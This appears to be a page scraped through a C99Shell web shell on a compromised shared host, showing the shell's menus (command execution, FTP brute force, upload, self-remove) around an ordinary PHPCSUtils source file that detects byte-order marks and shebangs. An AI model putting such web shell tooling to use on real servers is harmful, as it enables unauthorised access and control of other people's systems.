!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/phpcsstandards/phpcsutils/PHPCSUtils/Utils/   drwxr-xr-x
Free 720.02 GB of 879.6 GB (81.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FileInfo.php (2.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHPCSUtils, utility functions and classes for PHP_CodeSniffer sniff developers.
 *
 * @package   PHPCSUtils
 * @copyright 2019-2024 PHPCSUtils Contributors
 * @license   https://opensource.org/licenses/LGPL-3.0 LGPL3
 * @link      https://github.com/PHPCSStandards/PHPCSUtils
 */

namespace PHPCSUtils\Utils;

use PHP_CodeSniffer\Files\File;

/**
 * Utility functions to retrieve information about the file under scan.
 *
 * @since 1.1.0
 */
final class FileInfo
{

    /**
     * List of supported BOM definitions.
     *
     * Use encoding names as keys and hex BOM representations as values.
     *
     * @since 1.1.0
     *
     * @var array<string, string>
     */
    private static $bomDefinitions = [
        'UTF-8'       => 'efbbbf',
        'UTF-16 (BE)' => 'feff',
        'UTF-16 (LE)' => 'fffe',
    ];

    /**
     * Determine whether the file under scan has a byte-order mark at the start.
     *
     * Inspired by similar code being used in a couple of PHPCS native sniffs.
     *
     * @since 1.1.0
     *
     * @param \PHP_CodeSniffer\Files\File $phpcsFile The file being scanned.
     *
     * @return string|false Name of the type of BOM found or FALSE when the file does not start with a BOM.
     */
    public static function hasByteOrderMark(File $phpcsFile)
    {
        $tokens = $phpcsFile->getTokens();

        if ($tokens[0]['code'] !== \T_INLINE_HTML) {
            return false;
        }

        foreach (self::$bomDefinitions as $bomName => $expectedBomHex) {
            $bomByteLength = (int) (\strlen($expectedBomHex) / 2);
            $htmlBomHex    = \bin2hex(\substr($tokens[0]['content'], 0, $bomByteLength));
            if ($htmlBomHex === $expectedBomHex) {
                return $bomName;
            }
        }

        return false;
    }

    /**
     * Determine whether the file under scan has a shebang line at the start.
     *
     * @since 1.1.0
     *
     * @param \PHP_CodeSniffer\Files\File $phpcsFile The file being scanned.
     *
     * @return bool
     */
    public static function hasSheBang(File $phpcsFile)
    {
        $tokens = $phpcsFile->getTokens();
        if ($tokens[0]['code'] !== \T_INLINE_HTML) {
            return false;
        }

        $start            = 0;
        $hasByteOrderMark = self::hasByteOrderMark($phpcsFile);
        if ($hasByteOrderMark !== false) {
            $start = (int) (\strlen(self::$bomDefinitions[$hasByteOrderMark]) / 2);
        }

        return (\substr($tokens[0]['content'], $start, 2) === '#!');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.011 ]--